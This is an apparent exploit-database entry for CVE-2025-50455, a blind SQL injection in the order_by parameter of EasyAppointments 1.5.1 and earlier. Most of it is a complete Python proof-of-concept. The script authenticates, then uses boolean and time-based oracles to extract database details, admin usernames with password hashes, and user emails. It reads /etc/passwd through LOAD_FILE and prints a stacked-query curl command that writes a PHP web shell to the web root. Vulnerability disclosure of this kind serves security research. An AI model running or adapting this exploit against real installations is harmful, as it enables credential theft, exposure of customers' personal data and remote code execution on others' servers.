EasyAppointments 1.5.1 - Blind SQL Injection

# Exploit Title: EasyAppointments  1.5.1 - Blind SQL Injection 
# Google Dork: N/A (backend login required)
# Date: 07/27/2026
# Exploit Author: Michael Chesang
# Vendor Homepage: https://easyappointments.org
# Software Link: https://github.com/alextselegidis/easyappointments/releases
# Version: <= 1.5.1 (REQUIRED)
# Tested on: Linux (Debian, Docker), MySQL 8.0.46, PHP 8.2.28
# CVE: CVE-2025-50455

=== Description ===

A blind SQL injection vulnerability exists in the order_by parameter of
the /index.php/customers/search endpoint in EasyAppointments <= 1.5.1.
The parameter is passed unsanitized to CodeIgniter 3 Query Builder
order_by(). Parenthesized subqueries bypass backtick escaping via CI3's
protect_identifiers(), enabling arbitrary SQL injection.

Dual-mode extraction:
- Boolean (~0.1s/query): (SELECT IF(condition, id, -id)) DESC via JSON order
- Time-based (~5s/query): 1 ASC, (SELECT IF(condition, SLEEP(5), 0))

=== PoC attached: poc_CVE-2025-50455.py ===

Usage:
python3 poc_CVE-2025-50455.py --url http://target/ \
--username admin --password secret \
--mode bool --target version

=== References ===

https://github.com/alextselegidis/easyappointments/security/advisories/GHSA-w45h-26pc-4gr9
https://github.com/alextselegidis/easyappointments/commit/0f0d71cfe0692daed9aee59bc424ce2a084fd59e
https://github.com/threatlance-org/security-advisories/blob/main/CVE-2025-50455/advisory.md

import argparse
import json
import re
import sys
import time

import requests
import urllib.parse
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

BANNER = r"""
  _______  _    ________     ___   ___  ___  ______   _____ ____  __  _ ____
 / ___\ \ / /__|__  / __|   |_  ) / _ \|_  )|__ /__|/ ____| ___||  \| | ___|
| |__  \ V / -_)/ /| _|      / / | (_) |/ /  |_ \_  \___ \|___ \|     |___ \
 \____|  \_/\___/___|___|    /___| \___//___|____(_)  ____/ ____/|_|\__|____/

  CVE-2025-50455 · Blind SQL Injection · EasyAppointments <= 1.5.1
  POST /index.php/{customers,admins,providers,...}/search  →  order_by
  Dual-mode: boolean (~0.1s/q) or time-based (~5s/q)
  Author: Michael Chesang
"""

ENDPOINTS = {
    "customers":          "index.php/customers/search",
    "admins":             "index.php/admins/search",
    "providers":          "index.php/providers/search",
    "services":           "index.php/services/search",
    "service_categories": "index.php/service_categories/search",
    "webhooks":           "index.php/webhooks/search",
    "blocked_periods":    "index.php/blocked_periods/search",
}

LOGIN_PATH     = "index.php/login"
VALIDATE_PATH  = "index.php/login/validate"
SLEEP_SEC      = 5
SLEEP_TOL      = 1.5


def die(msg: str):
    print(msg, file=sys.stderr)
    sys.exit(1)


def extract_csrf(html: str) -> str:
    m = re.search(r'"csrf_token"\s*:\s*"([a-f0-9]+)"', html)
    if not m:
        die("[!] Could not extract csrf_token from page.")
    return m.group(1)


def login(args) -> requests.Session:
    sess = requests.Session()
    sess.verify = args.verify

    r = sess.get(urllib.parse.urljoin(args.url, LOGIN_PATH), timeout=args.timeout)
    if r.status_code not in (200, 302):
        die(f"[!] Cannot reach login page: HTTP {r.status_code}")

    csrf_token = extract_csrf(r.text)

    r = sess.post(
        urllib.parse.urljoin(args.url, VALIDATE_PATH),
        data={"csrf_token": csrf_token, "username": args.username, "password": args.password},
        timeout=args.timeout,
    )
    if not r.json().get("success"):
        die("[!] Authentication failed – wrong credentials.")

    print(f"[+] Authenticated as '{args.username}'")
    return sess


def send(sess, args, order_by: str) -> requests.Response:
    search_path = ENDPOINTS.get(args.endpoint, ENDPOINTS["customers"])
    url = urllib.parse.urljoin(args.url, search_path)
    csrf_token = sess.cookies.get("csrf_cookie", "")
    data = {
        "csrf_token": csrf_token,
        "keyword": "",
        "limit": 20,
        "offset": 0,
        "order_by": order_by,
    }
    return sess.post(url, data=data, timeout=args.timeout)


def timed_send(sess, args, order_by: str) -> float:
    t0 = time.monotonic()
    send(sess, args, order_by)
    return time.monotonic() - t0


def delayed(elapsed: float) -> bool:
    return elapsed >= (SLEEP_SEC - SLEEP_TOL)


# ── Boolean Oracle ────────────────────────────────────────────────────────

def find_ref_id(sess, args) -> int:
    """Find the ID of the first row when sorted by id ASC.
    Reference anchor for boolean oracle — stays constant on FALSE.
    Returns -1 if only 1 row (boolean mode unavailable).
    """
    try:
        r = send(sess, args, "id ASC")
        rows = r.json()
        if len(rows) < 2:
            return -1
        return rows[0]["id"]
    except Exception:
        return -1


def bool_oracle(sess, args, condition: str, ref_id: int) -> bool:
    """Boolean oracle via ORDER BY manipulation.
    Payload: (SELECT IF(condition, id, -id)) DESC
    TRUE  → first row has id != ref_id (sorted by id DESC)
    FALSE → first row has id == ref_id (sorted by -id DESC == id ASC)
    """
    payload = f"(SELECT IF({condition}, id, -id)) DESC"
    try:
        r = send(sess, args, payload)
        rows = r.json()
        if not rows:
            return False
        return rows[0].get("id", 0) != ref_id
    except Exception:
        return False


# ── Time-based Oracle ─────────────────────────────────────────────────────

def time_oracle(sess, args, condition: str) -> bool:
    payload = f"1 ASC, (SELECT IF({condition}, SLEEP({SLEEP_SEC}), 0))"
    return delayed(timed_send(sess, args, payload))


# ── Binary-search extraction (shared) ─────────────────────────────────────

def get_length(sess, args, oracle_fn, expr: str, max_len: int = 512) -> int:
    lo, hi = 1, max_len
    while lo < hi:
        mid = (lo + hi) // 2
        if oracle_fn(sess, args, f"LENGTH(({expr})) <= {mid}"):
            hi = mid
        else:
            lo = mid + 1
    return lo


def get_char(sess, args, oracle_fn, expr: str, pos: int) -> str:
    lo, hi = 32, 126
    while lo < hi:
        mid = (lo + hi) // 2
        if oracle_fn(sess, args, f"ASCII(SUBSTRING(({expr}),{pos},1)) <= {mid}"):
            hi = mid
        else:
            lo = mid + 1
    return chr(lo) if lo <= 126 else "?"


def extract(sess, args, oracle_fn, expr: str, label: str = "", max_len: int = 256) -> str:
    tag = label or expr
    print(f"\n[*] Extracting: {tag}")
    length = get_length(sess, args, oracle_fn, expr, max_len)
    print(f"[*] Length = {length} chars")
    result = ""
    for pos in range(1, length + 1):
        ch = get_char(sess, args, oracle_fn, expr, pos)
        result += ch
        print(f"    [{pos:03d}/{length}]  {result}", end="\r", flush=True)
    print(f"    [{length:03d}/{length}]  {result}   ")
    return result


# ── Target expressions ────────────────────────────────────────────────────

TARGETS = {
    "version":           ("@@version",                                                      "MySQL version"),
    "user":              ("USER()",                                                          "DB user"),
    "database":          ("DATABASE()",                                                      "Current database"),
    "datadir":           ("@@datadir",                                                       "Data directory"),
    "hostname":          ("@@hostname",                                                      "Hostname"),
    "secure_file_priv":  ("IFNULL(NULLIF(@@global.secure_file_priv,''),CHAR(78,79,78,69))", "secure_file_priv"),
    "tables":            ("(SELECT GROUP_CONCAT(table_name ORDER BY table_name SEPARATOR ',') FROM information_schema.tables WHERE table_schema=DATABASE())", "All tables"),
    "columns":           ("(SELECT GROUP_CONCAT(column_name ORDER BY column_name SEPARATOR ',') FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name='{table}')", "Columns of `{table}`"),
    "admin_creds":       ("(SELECT GROUP_CONCAT(username, CHAR(58), password SEPARATOR '|') FROM ea_user_settings LIMIT 10)", "Usernames + password hashes"),
    "user_emails":       ("(SELECT GROUP_CONCAT(email SEPARATOR ',') FROM ea_users LIMIT 20)", "User e-mail addresses"),
}


# ── Modes ─────────────────────────────────────────────────────────────────

def mode_bool(sess, args):
    """Boolean-based extraction via ORDER BY first-row oracle. Fastest mode."""
    print(f"\n[*] Mode: boolean-based extraction")
    print(f"[*] Endpoint: {args.endpoint}")

    ref_id = find_ref_id(sess, args)
    if ref_id < 0:
        print("[!] <2 rows in response — boolean oracle unavailable, use --mode time.")
        return
    print(f"[*] Reference ID (FALSE anchor): {ref_id}")

    oracle_fn = lambda s, a, c: bool_oracle(s, a, c, ref_id)

    expr_label = TARGETS.get(args.target, TARGETS["version"])
    expr = expr_label[0].format(table=args.table)
    label = expr_label[1].format(table=args.table) if hasattr(expr_label[1], 'format') else expr_label[1]

    value = extract(sess, args, oracle_fn, expr, label)
    print(f"\n[+] {label}:  {value}")


def mode_time(sess, args):
    print("\n[*] Mode: time-based confirmation")
    print(f"[*] Payload: 1 ASC, (SELECT SLEEP({SLEEP_SEC}))")
    print()

    elapsed_vuln = timed_send(sess, args, f"1 ASC, (SELECT SLEEP({SLEEP_SEC}))")
    elapsed_safe = timed_send(sess, args, "update_datetime DESC")

    print(f"    Injected (sleep)  → {elapsed_vuln:.2f}s")
    print(f"    Benign (no sleep) → {elapsed_safe:.2f}s")
    print()

    if delayed(elapsed_vuln) and not delayed(elapsed_safe):
        print("[+] ✔  VULNERABLE")
    else:
        print("[-] Timing inconclusive – check connectivity/firewall or increase --timeout.")


def mode_enum(sess, args):
    """Extract arbitrary data via time-based oracle."""
    expr_label = TARGETS.get(args.target, TARGETS["version"])
    expr = expr_label[0].format(table=args.table)
    label = expr_label[1]

    print(f"\n[*] Mode: data enumeration  ({label})")
    value = extract(sess, args, time_oracle, expr, label)
    print(f"\n[+] {label}:  {value}")


def mode_schema(sess, args):
    tables_to_probe = [
        "ea_users", "ea_appointments", "ea_services",
        "ea_providers", "ea_settings", "users", "admins",
    ]
    if args.table and args.table not in tables_to_probe:
        tables_to_probe.insert(0, args.table)

    print("\n[*] Mode: schema enumeration via IF(EXISTS(…), SLEEP, 0)")
    print(f"[*] Probing tables: {tables_to_probe}")
    print()

    found = []
    for tbl in tables_to_probe:
        cond = (f"EXISTS(SELECT 1 FROM information_schema.tables "
                f"WHERE table_schema=DATABASE() AND table_name='{tbl}')")
        payload = f"1 AND (SELECT IF({cond}, SLEEP({SLEEP_SEC}), 0))"
        print(f"    Testing '{tbl}' …", end=" ", flush=True)
        elapsed = timed_send(sess, args, payload)
        if delayed(elapsed):
            print(f"EXISTS  ({elapsed:.1f}s delay)")
            found.append(tbl)
        else:
            print(f"not found ({elapsed:.1f}s)")

    print()
    if found:
        print(f"[+] Confirmed tables: {found}")
    else:
        print("[-] No tested tables confirmed.")


def mode_outfile(sess, args):
    outfile  = args.outfile
    readfile = args.readfile
    shell    = '<?php system($_GET["cmd"]); ?>'

    print("\n[*] Mode: FILE privilege exploitation")
    print(f"[*] Read target : {readfile}")
    print(f"[*] Write target: {outfile}")
    print()

    # Step 1: check secure_file_priv
    print("[*] Step 1 – Enumerating @@global.secure_file_priv …")
    try:
        sfp = extract(
            sess, args, time_oracle,
            "IFNULL(NULLIF(@@global.secure_file_priv,''),'UNRESTRICTED')",
            "secure_file_priv", max_len=128,
        )
        print(f"\n[+] secure_file_priv = {sfp!r}")
        file_priv = "UNRESTRICTED" in sfp or sfp == "" or sfp.upper() != "NULL"
    except Exception:
        print("[!] Could not determine secure_file_priv, assuming restricted.")
        file_priv = False

    # Step 2: LOAD_FILE read
    print()
    print("[*] Step 2 – Reading file via LOAD_FILE() sub-query …")
    if not file_priv:
        print("[!] FILE privilege unavailable – skipping read.")
    else:
        file_len = get_length(
            sess, args, time_oracle,
            f"IFNULL(LOAD_FILE('{readfile}'),'')", max_len=65536,
        )
        if file_len == 0:
            print(f"[!] LOAD_FILE('{readfile}') returned NULL – not readable.")
        else:
            print(f"[+] File is readable ({file_len} bytes). Extracting first 512 bytes …")
            content = extract(
                sess, args, time_oracle,
                f"IFNULL(LOAD_FILE('{readfile}'),'')",
                f"LOAD_FILE({readfile})", max_len=min(file_len, 512),
            )
            print(f"\n[+] File content ({readfile}):")
            print("-" * 60)
            print(content)
            print("-" * 60)

    # Step 3: stacked-query write (theoretical)
    print()
    print("[*] Step 3 – INTO OUTFILE via stacked queries (theoretical)")
    search_url = urllib.parse.urljoin(args.url, ENDPOINTS[args.endpoint])
    stacked = f"update_datetime DESC; SELECT '{shell}' INTO OUTFILE '{outfile}'-- -"
    print(f"    curl -X POST {search_url} \\")
    print(f"      -b 'ea_session=<your_session>' \\")
    print(f"      -d $'keyword=&limit=20&offset=0&order_by={stacked}'")


# ── CLI ───────────────────────────────────────────────────────────────────

def parse_args() -> argparse.Namespace:
    p = argparse.ArgumentParser(
        prog="poc_CVE-2025-50455",
        description="CVE-2025-50455 – EasyAppointments <= 1.5.1 Blind SQLi PoC",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog=__doc__,
    )
    p.add_argument("--url",      required=True,
                   help="Base URL (e.g. http://172.17.0.1/)")
    p.add_argument("--username", required=True, help="Backend username")
    p.add_argument("--password", required=True, help="Backend password")
    p.add_argument(
        "--mode",
        choices=["bool", "time", "schema", "enum", "outfile"],
        default="time",
        help=(
            "bool    – boolean extraction via ORDER BY (fastest, need 2+ rows)\n"
            "time    – time-based SLEEP confirmation   (default)\n"
            "schema  – probe table existence via SLEEP\n"
            "enum    – time-based data extraction\n"
            "outfile – LOAD_FILE() read + write analysis"
        ),
    )
    p.add_argument(
        "--endpoint",
        choices=list(ENDPOINTS.keys()),
        default="customers",
        help="Vulnerable endpoint (default: customers)",
    )
    p.add_argument(
        "--target",
        choices=list(TARGETS.keys()),
        default="version",
        help="(enum/bool mode) what to extract. Default: version",
    )
    p.add_argument("--table", default="ea_users",
                   help="Table name for --target columns / --mode schema")
    p.add_argument("--outfile", default="/var/www/html/shell.php",
                   help="(outfile) Server path for shell")
    p.add_argument("--readfile", default="/etc/passwd",
                   help="(outfile) File to read via LOAD_FILE()")
    p.add_argument("--timeout", type=int, default=30,
                   help="HTTP timeout (default: 30)")
    p.add_argument("--no-verify", dest="verify", action="store_false",
                   default=True, help="Disable TLS verification")
    return p.parse_args()


def main():
    print(BANNER)
    args = parse_args()

    if not args.url.endswith("/"):
        args.url += "/"

    print(f"[*] Target   : {args.url}")
    print(f"[*] Endpoint : {args.endpoint}")
    print(f"[*] Mode     : {args.mode}")
    print(f"[*] Timeout  : {args.timeout}s")

    sess = login(args)

    dispatch = {
        "bool":    mode_bool,
        "time":    mode_time,
        "schema":  mode_schema,
        "enum":    mode_enum,
        "outfile": mode_outfile,
    }
    dispatch[args.mode](sess, args)


if __name__ == "__main__":
    main()